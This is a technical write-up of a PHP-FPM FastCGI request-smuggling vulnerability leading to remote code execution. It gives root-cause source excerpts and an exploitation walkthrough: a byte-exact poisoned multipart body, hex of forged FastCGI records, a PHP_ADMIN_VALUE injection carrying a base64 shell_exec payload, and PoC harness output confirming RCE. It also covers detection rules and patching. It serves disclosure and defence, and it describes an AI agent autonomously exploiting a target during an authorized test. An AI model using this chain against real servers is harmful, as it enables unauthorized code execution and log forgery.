| CVE | CVE-2026-129289 · CWE-444 (Inconsistent Interpretation of HTTP Requests) / CWE-670 · CVSS v4.0 9.2 |
|---|---|
| Advisory | GHSA-qc49-hpvq-g2w6, published 2026-11-19 |
| Affected | PHP-FPM before 8.2.36 / 8.3.37 / 8.4.28 / 8.5.13 / 8.6.0; per the advisory, by code inspection, every release back to 5.6.0. End-of-life branches (8.1 and older) receive no upstream fix. |
| Other ratings | Red Hat CVSS v3.1 8.1 (preliminary); CISA SSVC on the CVE record (2026-11-20): exploitation none, automatable yes, technical impact total. |
| Class | request smuggling → per-request configuration injection → remote code execution |
| Validation | Root-cause claims verified against the PHP-8.4.27 / PHP-8.4.28 php-src tags; the full chain reproduced end-to-end in a local, loopback-only lab (nginx 1.28.1 → php-fpm 8.4.27), 2026-11-25. |
Scope note. This article describes exploitation of a vulnerable service. All testing was done in an isolated lab bound to
127.0.0.1. Only point these techniques at systems you are explicitly authorized to test.
Exploitation on the day of disclosure. On 19 November 2026, the day the advisory was published, the DEKENEAS AI RedTeam Agent identified a vulnerable PHP-FPM deployment during an authorized penetration test, matched it to CVE-2026-129289, generated a working exploit chain from the public advisory, and achieved remote code execution without manual intervention. That was two days before the first public exploit toolkit for this CVE was reported. The agent also built the loopback lab described throughout this article to validate the proof of concept.
TL;DR
A single HTTP request — syntactically legitimate, fully proxied and authorized by the front end — can cause PHP-FPM to later execute a second, entirely attacker-authored FastCGI request on the same backend connection, one the front end never saw or authorized.
The smuggled request controls its own FastCGI parameters: SCRIPT_FILENAME (which PHP file FPM executes), REMOTE_ADDR (log/audit spoofing), and PHP_ADMIN_VALUE — ini directives FPM applies to that request only. Setting allow_url_include=1 plus auto_prepend_file="data://text/plain;base64,<?php … ?>" turns parameter injection into code execution as the FPM worker (www-data in a default pool).
The bug is purely logical: no memory corruption, no ASLR knowledge, no race window. It exists because three independently reasonable design decisions line up:
- Application side — a framework creates the request-body stream (e.g.
fopen('php://input')in a request object built before routing) and the routed handler never reads it. - Parser side — PHP's
multipart/form-dataparser can be forced to abort at a byte-exact offset, abandoning the rest of the body mid-record. - Framing side (the vulnerability) — when FPM starts reading what it believes is the next request on a keep-alive connection, it zeroes the "bytes still owed from the previous request's STDIN record" counter instead of refusing to reuse the connection. The attacker-controlled tail of the abandoned body is then parsed as a brand-new FastCGI request.
The front-end precondition is connection reuse: nginx fastcgi_keep_conn on with a keepalive upstream, Apache mod_proxy_fcgi enablereuse=on, or HAProxy's FastCGI applet. All are common, documented performance configurations.
Background: FastCGI framing and the implicit contract
FastCGI (protocol version 1.0) is a record-oriented protocol spoken between a web server (the front end) and an application server such as PHP-FPM (the back end). Every byte on the backend connection belongs to an 8-byte-header record:
struct fcgi_header {
unsigned char version; // == 1
unsigned char type; // BEGIN_REQUEST(1) PARAMS(4) STDIN(5) STDOUT(6) STDERR(7) END_REQUEST(3) …
unsigned char requestIdB1; // 16-bit request id, big endian
unsigned char requestIdB0;
unsigned char contentLengthB1;
unsigned char contentLengthB0;
unsigned char paddingLength;
unsigned char reserved;
};
A well-behaved request on a connection is a closed little universe, identified by one request id:
BEGIN_REQUEST(id, flags) → PARAMS(id)* (final one length 0) → STDIN(id)* (final one length 0) → END_REQUEST(id)
BEGIN_REQUEST carries a 1-byte flags field; FCGI_KEEP_CONN (0x01) tells the back end "do not close this connection when the request ends — the same client will send more requests." nginx sets it when you configure fastcgi_keep_conn on together with keepalive in the upstream block; that is the normal, recommended high-performance setup.
The implicit trust contract is what makes this protocol dangerous on a shared connection: FPM trusts that every BEGIN_REQUEST it parses was placed there by its front end. The front end is the authorization boundary — it terminated TLS, applied ACLs and rate limits, mapped the URL, and chose which script runs via SCRIPT_FILENAME. FPM applies whatever parameters come with the request, because it assumes a trusted intermediary framed them. There is no per-request authentication on the backend connection — nothing else to key trust on.
Desync bugs earn their reputation by breaking exactly this assumption: get attacker-chosen bytes onto the backend connection ahead of the front end's parser, and you get to write requests the front end never authorized. CVE-2026-129289 is a new way to do that — entirely inside PHP-FPM.
Root cause: three defects that must line up
Defect A — the skipped cleanup: "someone owns the body, I don't have to drain it"
At request shutdown the SAPI layer is responsible for making sure the entire request body has been consumed from the transport before the connection goes back to the pool. In main/SAPI.c (8.4.27, sapi_deactivate_module(), lines 498–512):
SAPI_API void sapi_deactivate_module(void)
{
zend_llist_destroy(&SG(sapi_headers).headers);
if (SG(request_info).request_body) {
SG(request_info).request_body = NULL; // (1)
} else if (SG(server_context)) {
if (!SG(post_read)) {
/* make sure we've consumed all request input data */
char dummy[SAPI_POST_BLOCK_SIZE];
size_t read_bytes;
do {
read_bytes = sapi_read_post_block(dummy, SAPI_POST_BLOCK_SIZE);
} while (SAPI_POST_BLOCK_SIZE == read_bytes); // (2)
}
…
The drain loop (2) exists precisely so an unread body cannot leak into the next request. But it sits in the else branch: if a body stream object exists (1), FPM assumes somebody consumed — or deliberately owns — the body, and skips the drain. Merely creating the stream is enough.
A very common framework pattern does exactly that and then never reads it: a request object is built early (pre-routing, pre-authentication — before it is even known whether the handler will need the body) and captures the lazy body stream:
// framework bootstrap — runs for every request, before routing
$requestStream = fopen('php://input', 'rb'); // lazy: consumes nothing yet
…
case '/api/status':
// this handler answers without ever touching $requestStream
echo json_encode(['status' => 'ok', 'php' => PHP_VERSION]);
exit;
Endpoints like health checks, status pages, or webhook receivers that validate via headers and ignore the body are everywhere. For them, request_body exists, was never read, and shutdown silently leaves Content-Length bytes still owed on the FastCGI connection.
Defect B — a byte-exact abort: the upload parser stops at a known offset
An unread body alone is not enough: the owed bytes are still record-layer bytes (inside FCGI_STDIN records), and FPM's reader only interprets bytes as a new request header at record boundaries. The attacker needs FPM to stop reading at an offset they can hit exactly, and needs to control what lies beyond it. main/rfc1867.c supplies the stopping point.
The multipart parser pulls the body in fixed-size fills:
// main/rfc1867.c:187
#define FILLUNIT (1024 * 5) // 5120 bytes
When the first part of a multipart/form-data body carries a Content-Disposition header that contains neither name= nor filename= (simply Content-Disposition: form-data), the header processing finds neither a parameter name nor a filename and bails out (lines 1026–1028):
/* Return with an error if the posted data is garbled */
if (!param && !filename) {
EMIT_WARNING_OR_ERROR("File Upload Mime headers garbled");
goto fileupload_done;
}
Crucially, the abort happens after the very first fill_buffer(): the part's header lines are found within the initial 5120-byte fill, so at the moment of the goto, PHP has consumed exactly FILLUNIT = 5120 bytes of the STDIN data and consumes nothing further. The parser's view of the world ends at byte 5120; everything beyond it — including, as it turns out, well-formed FastCGI records — is simply not PHP's problem anymore. The only trace is one line in the FPM log:
[25-Nov-2026 03:51:03] WARNING: [pool lab] child 10595 said into stderr: "NOTICE: PHP message:
PHP Warning: PHP Request Startup: File Upload Mime headers garbled in Unknown on line 0"
Because the request never ends cleanly with respect to the body (Defect A), the remaining Content-Length − 5120 bytes stay queued on the connection, and — this is the key — the attacker wrote them. The body is attacker data from the first byte.
Defect C — the vulnerability: an amnesiac reset in fcgi_read_request()
How FPM tracks "half-consumed STDIN record" is fcgi_read() (main/fastcgi.c, 8.4.27, from line 1205). The php://input plumbing pulls bytes through it; note what happens when the caller stops asking (req->in_len = bytes still owed from the current STDIN record):
int fcgi_read(fcgi_request *req, char *str, int len)
{
…
while (rest > 0) {
if (req->in_len == 0) {
… read next record header; must be FCGI_STDIN …
req->in_len = (hdr.contentLengthB1 << 8) | hdr.contentLengthB0;
req->in_pad = hdr.paddingLength;
if (req->in_len == 0) { return n; } // empty STDIN = end of body
}
if (req->in_len >= rest) { ret = safe_read(req, str, rest); }
else { ret = safe_read(req, str, req->in_len); }
…
req->in_len -= ret; …
}
}
in_len is record-layer bookkeeping: after the rfc1867 abort it is non-zero, recording that the connection is positioned mid-STDIN-record with attacker bytes still unread in the socket buffer. (fcgi_request has no input buffer — safe_read() is a bare read() loop over the fd — so the owed bytes are exactly the bytes still sitting on the connection.)
And now the bug itself, at the top of fcgi_read_request() (main/fastcgi.c, 8.4.27, lines 1036–1045) — the function that parses the next request on a reused connection:
static int fcgi_read_request(fcgi_request *req)
{
fcgi_header hdr;
int len, padding;
unsigned char buf[FCGI_MAX_LENGTH+8];
req->keep = 0; // 8.4.28 adds, ABOVE this reset:
req->ended = 0; // if (UNEXPECTED(req->in_len != 0)) {
req->in_len = 0; // return 0; }
…
if (safe_read(req, &hdr, sizeof(fcgi_header)) != sizeof(fcgi_header) …
in_len is zeroed unconditionally. FPM does not ask "am I still inside the previous request's STDIN record?" — it simply clears the evidence and read()s the next 8 bytes as a fcgi_header. Those bytes are attacker-controlled. If they spell a valid record header (version=1, type=BEGIN_REQUEST, id=…, len=8, pad=0), parsing succeeds, fcgi_accept_request()'s reuse loop gets its 1:
// main/fastcgi.c:1474 (fcgi_accept_request, connection-reuse path)
int read_result = fcgi_read_request(req);
if (read_result == 1) {
…
return req->fd; // "new request" accepted — from the front end's perspective
} else if (read_result == 0) { // there was no new request; nothing was pending
fcgi_close(req, 1, 1);
}
and a worker dispatches a request that no HTTP request ever described.
The chain, end to end
attacker nginx (keepalive, php-fpm 8.4.27 worker
fastcgi_keep_conn on)
──────── ────────────────── ────────────────────
POST /api/status ────────────▶ authorized, proxied ────▶ BEGIN, PARAMS, STDIN(5632B), STDIN(0), END
Content-Type: multipart app: fopen('php://input') → stream exists
body: [garbled part][J×…│offset 5120│ forged FCGI records]
rfc1867: 1st fill → no name=/filename=
→ warn + goto fileupload_done
shutdown: stream exists → drain SKIPPED
→ in_len = 512 bytes still owed
(front end sees nothing more) keep=1 → reuse loop: fcgi_read_request()
in_len zeroed unconditionally ← BUG
read() next 8 bytes: 01 01 23 28 00 08 …
= BEGIN_REQUEST id=9000 ✔ accepted
executes forged request:
SCRIPT_FILENAME, PHP_ADMIN_VALUE ours
One request passes through the front end. Two execute on the back end.
James Kettle's observation from his browser-powered desync research applies directly here: request smuggling does not need header obfuscation or a length ambiguity, only a back end that is taken by surprise (PortSwigger, 2022). There is no Content-Length / Transfer-Encoding disagreement in this chain at all; the front end and FPM agree on the length of the body, and FPM simply stops reading it.
Attack surface: what has to be true
| # | Precondition | Who owns it | How common |
|---|---|---|---|
| 1 | PHP-FPM in an affected version range (< 8.2.36 / 8.3.37 / 8.4.28 / 8.5.13) | PHP | — |
| 2 | Front end reuses backend connections (FCGI_KEEP_CONN) | Web server config | Common but opt-in: off by default in nginx and Apache, widely recommended as performance tuning. nginx fastcgi_keep_conn on + upstream keepalive, Apache enablereuse=on, HAProxy FastCGI |
| 3 | A reachable route that materializes the body stream but never reads it | Application / framework | Common: early request objects (php://input captured pre-routing), status/health/webhook-style handlers |
| 4 | A PHP file FPM is allowed to serve (for the forged SCRIPT_FILENAME) | FPM pool (security.limit_extensions) | Nearly always: the app's own front controller |
Nothing here is exotic. Precondition 2 is a performance recommendation in most PHP tuning guides; precondition 3 is what happens by default when a framework builds an immutable request object before routing. Note that 3 is not all-or-nothing: a single reachable route that skips the body is enough.
nginx's own documentation is explicit that fastcgi_keep_conn on is what makes upstream keepalive work for FastCGI, which is why it appears in so many tuning guides (ngx_http_fastcgi_module, ngx_http_upstream_module). The advisory also notes that LiteSpeed's LSAPI shares the same cleanup error; there it can disrupt later requests, but code execution through LSAPI has not been established.
Exploitation walkthrough
Everything below is real output from the automatically generated test environment (nginx 1.28.1 → php-fpm 8.4.27, both on loopback). The reference implementation is our PoC harness (poc.py, plus debug_direct.py which speaks FastCGI directly to the pool for record-level ground truth).
Step 0 — fingerprint
The response of any endpoint leaks the exact build:
$ python3 poc.py --target 127.0.0.1:8080 --check
[+] Target up — PHP 8.4.27 (fpm-fcgi), uid=33
[!] VULNERABLE to CVE-2026-129289 (fixed in 8.4.28)
Step 1 — craft the poisoned body
The HTTP request is an ordinary POST with Content-Length covering the whole payload; there is no CL.TE trickery, no header smuggling. The body layout is a straight line, and byte 5120 is the pivot:
offset 0 39 5120 5632
┌───────────────┬─────────────────────┬──────────────────────────────────────────┐
│ --B␍␊ │ 'J' × 5081 │ forged FastCGI record stream (512 B) │
│ Content- │ filler │ BEGIN/PARAMS/STDIN/END for id=0x2328 │
│ Disposition: │ (no ␍␊--B inside) │ │
│ form-data │ │ │
│ ␍␊␍␊ │ │ │
└───────────────┴─────────────────────┴──────────────────────────────────────────┘
header lines found inside the FIRST 5120-byte fill
→ parser warns "Mime headers garbled" and stops consuming here →
The prefix is deliberately a multipart/form-data part with Content-Disposition: form-data carrying no name=/filename= — Defect B's abort trigger. The filler is pure J (it must not contain the boundary string, or the parser would find a boundary and keep going). Its length pads the prefix to exactly FILLUNIT; each fill unit consumed by a differently-shaped abort shifts the landing point by 5120 bytes, which is why the harness exposes --offset N for recalibration.
On the wire the pivot is unmistakable once you know what to look for — 01 01 23 28 00 08 00 00 is version=1, type=BEGIN_REQUEST, id=0x2328, contentLength=8, padding=0, i.e. a textbook FCGI_BEGIN_REQUEST header standing in the middle of a "multipart" body at offset 0x1400:
000013f0 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a JJJJJJJJJJJJJJJJ
00001400 01 01 23 28 00 08 00 00 00 01 01 00 00 00 00 00 ..#(............
00001410 01 04 23 28 01 a8 00 00 11 0b 47 41 54 45 57 41 ..#(......GATEWA
00001420 59 5f 49 4e 54 45 52 46 41 43 45 66 61 73 74 43 Y_INTERFACEFastC
00001430 47 49 2f 31 2e 30 0f 08 53 45 52 56 45 52 5f 53 GI/1.0..SERVER_S
(The 00 01 01 00 00 00 00 00 immediately after the BEGIN record header is its 8-byte body — role 1 = RESPONDER, flags 1 = FCGI_KEEP_CONN, reserved 0 — followed by the PARAMS record header 01 04 23 28 01 a8 for the same id, content length 0x1a8.)
Step 2 — the forged request
The embedded stream is a complete, spec-correct FastCGI request. Every parameter is attacker-chosen:
| Record | Contents |
|---|---|
BEGIN_REQUEST id=0x2328 | role=RESPONDER, flags=FCGI_KEEP_CONN |
PARAMS id=0x2328 | 13 pairs — see below |
PARAMS id=0x2328, len=0 | close params |
STDIN id=0x2328 | (payload — with the data:// chain below it can even be empty) |
STDIN id=0x2328, len=0 | close body |
END_REQUEST id=0x2328 | protocolStatus=0 |
The interesting parameters:
| Param | Value | Why |
|---|---|---|
SCRIPT_FILENAME | any PHP file the pool may serve | the front end's authorization decision, rewritten. LFI without the file write: point it at the app's own front controller, whose bootstrap now runs under injected ini |
DOCUMENT_ROOT | /var/www/html | consistent-looking context |
REMOTE_ADDR / REMOTE_PORT | 6.6.6.6:1337 | audit-log poisoning; apps key rate limits and allowlists on this value |
PHP_ADMIN_VALUE | allow_url_include=1 + auto_prepend_file="data://…" | the RCE — see step 3 |
REQUEST_METHOD/REQUEST_URI/QUERY_STRING | GET /api/status?x=1 | a route the target app answers without reading the body |
nginx never sees any of this. Its access log holds exactly one line for the two executed requests:
127.0.0.1 - - [25/Nov/2026:03:51:03 +0200] "POST /api/status HTTP/1.1" 200 69 "-" "CVE-2026-129289-poc"
Step 3 — parameter injection → code execution
PHP_ADMIN_VALUE is the FastCGI equivalent of owning the pool's ini: FPM parses its value as an ini string and applies the directives to this request only, with admin-level authority. Two directives are all that is needed:
allow_url_include=1
auto_prepend_file="data://text/plain;base64,PD9waHAg…==" ; <?php shell_exec('id; …'); ?>
auto_prepend_file makes the engine include the given resource before the (legitimate-looking) SCRIPT_FILENAME runs; allow_url_include=1 lifts the restriction on non-local wrappers. The payload therefore rides inside the forged request's own parameters — the script itself is untouched, nothing is written to disk first, and no second request is needed.
Three non-obvious details cost us real debugging time; they are the difference between a silent failure and RCE:
- One
PHP_ADMIN_VALUEparam, not many. FPM reads this key throughFCGI_GETENV, which returns a single value per key — duplicate params silently shadow each other. All directives must be newline-joined inside one param. - Quote the value. An unquoted
auto_prepend_file=data:text/plain;base64,…dies at the first;: the ini parser treats it as a comment start and truncates the URI mid-base64. The whole value needs"…"around it — which means the ini string in the param isauto_prepend_file="data://text/plain;base64,<b64>". data://, notphp://input. The obvious payload host — the forged request's own STDIN — fails:includerequires the stdio stream cast, whichphp://inputdoes not implement (Failed opening required 'php://input').data://memory streams do implement the cast, so the payload fits entirely in the PARAMS records. (Aphp://inputvariant is possible if you also smuggle the code into the forged request's STDIN and prepend a wrapper that reads raw — butdata://is one request and zero temp files.)
This is where CVE-2026-129289 separates itself from the memory-corruption class of "PHP shell" vulnerabilities: no overflow, no UAF, no ASLR primitive, no race. Success is deterministic given the byte offset.
Step 4 — prove it, when the front end shows you nothing
The smuggled response goes to the reused FPM connection, which the front end already considers idle or assigned to the next request — so the classic smuggling readback (let victim #2 receive your response) is a timing game, not a guarantee. Two reliable proofs instead:
Out-of-band artifact + in-band readback oracle. The payload writes its output to a file and a second, ordinary request reads it back through whatever file-disclosure primitive the app offers (the test app exposes /api/file?name=/tmp/… as a stand-in; in a real engagement an existing LFI, log reader, or error echo works just as well):
$ python3 poc.py --target 127.0.0.1:8080 --script /var/www/cve129289/index.php --cmd 'id'
[*] 1/3 connecting to 127.0.0.1:8080, sending poisoned request (base offset=5120+0, …)
[+] HTTP 200 from original request: b'{"status":"ok","php":"8.4.27",…}'
[*] 2/3 waiting for forged request execution
[*] 3/3 readback /tmp/pwned_056025ff via /api/file
[+] ============================================
[+] RCE CONFIRMED — code ran as the FPM worker:
[+] ============================================
PWNED via CVE-2026-129289
Linux gebeleizis 6.18.5+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.18.5-1kali1 x86_64
uid=33
---
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Record-level ground truth. Speaking FastCGI directly to the pool (bypassing nginx, emulating its exact framing: BEGIN with KEEP_CONN, split STDIN, close, END) removes all doubt. The worker answers request id=1 normally, then also answers the smuggled id=9000:
[*] got 416 bytes from FPM:
[ STDERR] id=1 b'PHP message: PHP Warning: PHP Request Startup: File Upload Mime headers garbled …'
[ STDOUT] id=1 b'Content-Type: application/json\r\n\r\n{"status":"ok","php":"8.4.27",…}'
[ END] id=1
[ STDOUT] id=9000 b'Content-Type: application/json\r\n\r\nPWNED|uid=33(www-data) gid=33(www-data) …'
[ END] id=9000
[!!!] SMUGGLED REQUEST EXECUTED
Two request ids, one connection, one authorized HTTP request. The response-desync variant (pipelining a second HTTP request so nginx pairs it with the orphaned response) does work when the timing lines up and is included in the harness (--mode desync), but treat it as a best-effort bonus: the deterministic signals are the log-line asymmetry and the out-of-band artifact.
The fix, exactly
The upstream fix (8.4.28, main/fastcgi.c) is three hunks — and the first one is the whole vulnerability closed with four lines:
static int fcgi_read_request(fcgi_request *req)
{
fcgi_header hdr;
int len, padding;
unsigned char buf[FCGI_MAX_LENGTH+8];
+ if (UNEXPECTED(req->in_len != 0)) {
+ return 0; // mid-STDIN record → refuse to reuse
+ }
+
req->keep = 0;
req->ended = 0;
req->in_len = 0;
--- a/main/fastcgi.c (fcgi_close)
+++ b/main/fastcgi.c
@@
req->fd = -1;
+ /* a partially read STDIN record does not outlive its connection */
+ req->in_len = 0;
(plus a cosmetic shutdown(req->fd, 1) → SHUT_WR.)
Returning 0 from fcgi_read_request() routes the reuse loop in fcgi_accept_request() into fcgi_close() — the connection is torn down the moment FPM discovers it was still inside a STDIN record. The second hunk makes sure the stale in_len cannot poison a later connection that reuses the same fcgi_request structure. Verified against both tags, and behaviorally: on a patched 8.4.28 control the original request answers normally, the forged records are never parsed, and the PoC reports [-] no readback; downgrading back to 8.4.27 reproduces RCE immediately.
Detection
Network (strongest signal). The smuggled bytes are FastCGI framing inside an HTTP body — impossible in legitimate traffic. Flag requests where:
Content-Type: multipart/form-dataand the body contains, at any offset but especially a multiple of 5120, the sequence\x01\x01\xNN\xNN\xNN\xNN\x00\x00(version 1, BEGIN_REQUEST, plausible id/length, zero padding) — or more generally any\x01\x0[1-9]record header where a boundary line is expected;- the first multipart part's
Content-Dispositionlacks bothname=andfilename=(the abort trigger itself is rarer than you'd think in legitimate uploads); Content-Lengthcomfortably exceeds ~5.2 KB yet the multipart body never contains its closing--<boundary>--.
Imperva ships an out-of-the-box rule for this CVE; the above translates directly into a Suricata content:"|01 01|"; offset: N; depth: 8; family.
Host / logs.
- FPM error log:
PHP Request Startup: File Upload Mime headers garbledat high volume, or from IPs that never post real forms — this warning is the exploit's heartbeat. - Log asymmetry: a FPM access log (or
request_slowlog/auditd exec events) showing a worker executingSCRIPT_FILENAMEs orREMOTE_ADDRvalues that never appear in the front end's access log. The6.6.6.6-style addresses are a gift to hunters. POSTrequests to body-less endpoints (status/health routes that normally only ever seeGET).
Configuration audit (both directions).
nginx -T | grep -E 'fastcgi_keep_conn|keepalive' # nginx
grep -R "enablereuse" /etc/apache2 /etc/httpd # Apache mod_proxy_fcgi
Reuse-off is not detection of an exploit in flight, but it removes the precondition entirely.
Remediation and mitigation
- Patch. 8.2.36 / 8.3.37 / 8.4.28 / 8.5.13 / 8.6.0. This is the only complete fix. Distribution packages often backport the fix without changing the PHP version, so check the package changelog for the CVE id rather than
php -v. Hosts on end-of-life branches (8.1 and older) have no upstream release and need a vendor backport or mitigation 2. - Break connection reuse (stopgap, costs performance): remove
fastcgi_keep_conn on/ upstreamkeepalivein nginx,enablereuse=offin Apache, disable FastCGI keep-alive in HAProxy. FPM then closes the connection after the aborted parse — the smuggling window is gone. - Never expose the FPM listener.
listen = 127.0.0.1:9000/9001(or a unix socket) only; an FPM port reachable by attackers is game over with no smuggling needed, since anyone can forge the same parameters directly. - Application hygiene. Consume the request body on every path — including error and early-exit paths — or don't create the stream. Frameworks should prefer reading
php://input(orfile_get_contents('php://input')/ PSR-7 body hydration) eagerly at bootstrap rather than lazily and optionally; a route that ignores the body should still drain it. Treat this as hygiene, not a fix: the advisory warns that readingphp://inputto the end in your own code is not a reliable mitigation, because you rarely control every script a pool serves. - Defense in depth. Pools serving untrusted apps:
security.limit_extensions = .php, disableallow_url_includein the pool/php.iniand setphp_admin_flag[allow_url_include] = offso the smuggledPHP_ADMIN_VALUEcannot re-enable it;open_basedir, read-only/tmpwhere feasible (forces artifactless proof-of-execution and buys you log signal). - Third-party stopgaps. Community modules have appeared that claim to close this path without rebuilding PHP (for example HOSTED-POWER's php_uploadprogress_guard, from v3.3.0). Evaluate them like any other third-party code before relying on them.
Severity, honestly
CVSS v4.0 9.2 reads high for a bug with preconditions, but each precondition is a common configuration (connection reuse is opt-in, yet a standard performance recommendation), the attack is unauthenticated, one-request, deterministic, and lands code execution as the pool user while forging the audit trail. The patch-diff-to-exploit ratio (four lines) and the absence of any memory-safety component are why this one deserved a same-day-out-of-band advisory rather than a quiet release note.
Vendors do not all agree. Red Hat's preliminary CVSS v3.1 score is 8.1, and its description frames the impact as security-control bypass, cache poisoning and request manipulation rather than code execution (Red Hat). The difference comes from the PHP_ADMIN_VALUE step: once a forged request can carry its own ini directives, code execution follows, as shown above. Even where that step is blocked, a forged REMOTE_ADDR defeats every IP allowlist and rate limit the application keys on.
Post-exploitation matters too. The same release fixes CVE-2026-129291, a PHP-FPM epoll use-after-free in which code running in a worker can take over the FPM master (it requires catch_workers_output = yes). On an unpatched host the two chain naturally: this bug for code execution as www-data, that one to escalate.
Context: earlier FPM and desync bugs
CVE-2019-11043 (PHP-FPM, env_path_info underflow). The closest ancestor. A newline in the URL broke a common nginx fastcgi_split_path_info regex, leaving PATH_INFO empty; FPM's pointer arithmetic then underflowed, letting attackers overwrite FastCGI environment data and inject PHP_VALUE directives that ended in code execution (PHP bug #78599, oss-security, nginx). The end state was the same, attacker-chosen ini on a trusted request. The route was memory corruption with a length-tuned URL; CVE-2026-129289 reaches the same end state with pure protocol logic.
HTTP request smuggling. First documented by Watchfire in 2005 and repopularized by James Kettle's 2019 research, which showed how a front end and back end disagreeing about message boundaries lets an attacker prefix the next request on a shared connection (HTTP Desync Attacks). His later work argues that these boundary failures are a protocol-level problem rather than a series of isolated bugs (HTTP/1.1 must die). The HTTP/1.1 standard treats smuggling in its security considerations (RFC 9112 §11.2). CVE-2026-129289 is the same idea one layer down: the boundary that fails is a FastCGI record boundary, not an HTTP message boundary.
Exposed FPM listeners. Speaking FastCGI directly to a reachable FPM port and setting PHP_VALUE / PHP_ADMIN_VALUE has long been a known route to code execution, which is why FPM should only ever listen on loopback or a unix socket. This CVE gives an outside attacker the same capability through a front end that is configured correctly.
Disclosure timeline
| Date | Event |
|---|---|
| 2026-10-21 | PHP2Shell (CVE-2026-109618/-109619) fixed in 8.4.27 — later added to CISA KEV, actively exploited |
| 2026-11-19 | GHSA-qc49-hpvq-g2w6 published; 8.2.36 / 8.3.37 / 8.4.28 / 8.5.13 / 8.6.0 released |
| 2026-11-19 | Day of disclosure: the DEKENEAS AI RedTeam Agent identifies a vulnerable target during an authorized penetration test and autonomously develops and executes a working exploit |
| 2026-11-20 | CISA SSVC added to the CVE record: exploitation none, automatable yes, technical impact total |
| 2026-11-21 | First public exploit toolkit for the CVE reported on GitHub (unverified provenance) |
| 2026-11-21 | PoC reproduction on 8.4.27; patched-control confirmation on 8.4.28 in the generated test environment |
| 2026-11-25 | This write-up; chain re-verified end-to-end |
Same-release neighbours worth tracking: CVE-2026-115560 (session serializer mismatch), CVE-2026-126714 (partially overwritten session files), CVE-2026-129474 / -129496 / -129481 / -129182 (UAF/stale-state family). Patching only for PHP2Shell leaves everything above open.
References
- GHSA-qc49-hpvq-g2w6 — advisory, affected/fixed matrix
- NVD: CVE-2026-129289 · Red Hat CVE page · Red Hat bulletin RHSB-2026-020
- Beazley Security Labs advisory BSL-A1250 · Suriq: am I affected?
php-srcPHP-8.4.27/PHP-8.4.28:main/fastcgi.c(fcgi_read,fcgi_read_request,fcgi_accept_request),main/SAPI.c(sapi_deactivate_module),main/rfc1867.c(FILLUNIT,File Upload Mime headers garbled)- FastCGI Protocol Specification 1.0 — record framing, request ids,
FCGI_KEEP_CONN - nginx:
fastcgi_keep_conn, upstreamkeepalive; Apache:mod_proxy_fcgiand theenablereuseworker parameter - PHP manual: FPM configuration (
security.limit_extensions,php_admin_value/php_admin_flag),auto_prepend_file,allow_url_include,data://wrapper - CWE-444 · CWE-670 · CVSS v4.0 specification
- RFC 9112 §11.2, Request Smuggling
- James Kettle, HTTP Desync Attacks: Request Smuggling Reborn (2019), Browser-Powered Desync Attacks (2022), HTTP/1.1 must die
- CVE-2019-11043: PHP bug #78599, oss-security announcement, nginx write-up
- Our automatically generated test environment (nginx 1.28.1 + php-fpm 8.4.27, loopback-only), used to test the PoC
Offensive research by the DEKENEAS AI RedTeam Agent: on disclosure day the agent identified a vulnerable PHP-FPM deployment during an authorized penetration test, generated a working exploit chain from the public advisory, and validated it end-to-end in an automatically generated, loopback-only lab.
The PoC and test environment were built for authorized testing and research; the authors accept no liability for misuse. The environment binds everything to 127.0.0.1 and should never be exposed.